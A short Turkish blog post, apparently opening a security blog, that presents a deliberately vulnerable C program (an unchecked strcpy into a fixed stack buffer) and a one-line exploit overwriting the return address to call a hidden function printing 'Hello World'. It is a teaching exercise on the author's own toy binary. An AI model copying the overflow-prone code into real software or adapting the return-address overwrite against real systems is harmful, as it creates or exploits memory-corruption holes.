Yeni Bir Başlangıcın Temelleri
Merhaba, yeni bir başlangıcın temelini atıyoruz. Eskiden kalma bazı blog yazılarım mevcut. Bunları güncelleyip yayınlayacağım ve daha sonrasında yeni blog yazılarımıza ve serilere başlayacağız. Çalışmalarımızın tamamını Pardus işletim sistemi üzerinden gerçekleştireceğiz.
Umarım yazdıklarımız bu sektörde ilerlemek veya bilgi edinmek isteyenler için faydalı olur diyerekten başlıyoruz. Standardın dışında bir Hello World örneği ile başlayalım.
Aşağıda kullanıcıdan bir girdi alıp programı sonlandıran ve hiç çağrılmayan callmeIfYouCan isimli fonksiyonumuz mevcut. Programı derleyip çalıştırırsanız hiç bir çıktı almadan programın sonlandığını göreceksiniz. Amacımız burada çağrılmayan fonksiyonu çağırarak zorlu bir şekilde Hello World yazdırmak.
// file: cryptex.c
// Vulnerability Hello World
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void callmeIfYouCan() {
printf("Hello World\n");
}
int hiCryptex(char *buff) {
char buf[0xFF];
strcpy(buf, buff);
return 0x0;
}
int main(int argc,char **argv) {
if(argv[1] == NULL) return 0x1;
hiCryptex(argv[1]);
return 0x0;
}
cryptex@cryptex:~$ ./cryptex $(python3 -c 'print("\x41"*267 + "\x9d\x61\x55\x56" + "C"*4)')
Hello World
Segmentation fault
cryptex@cryptex:~$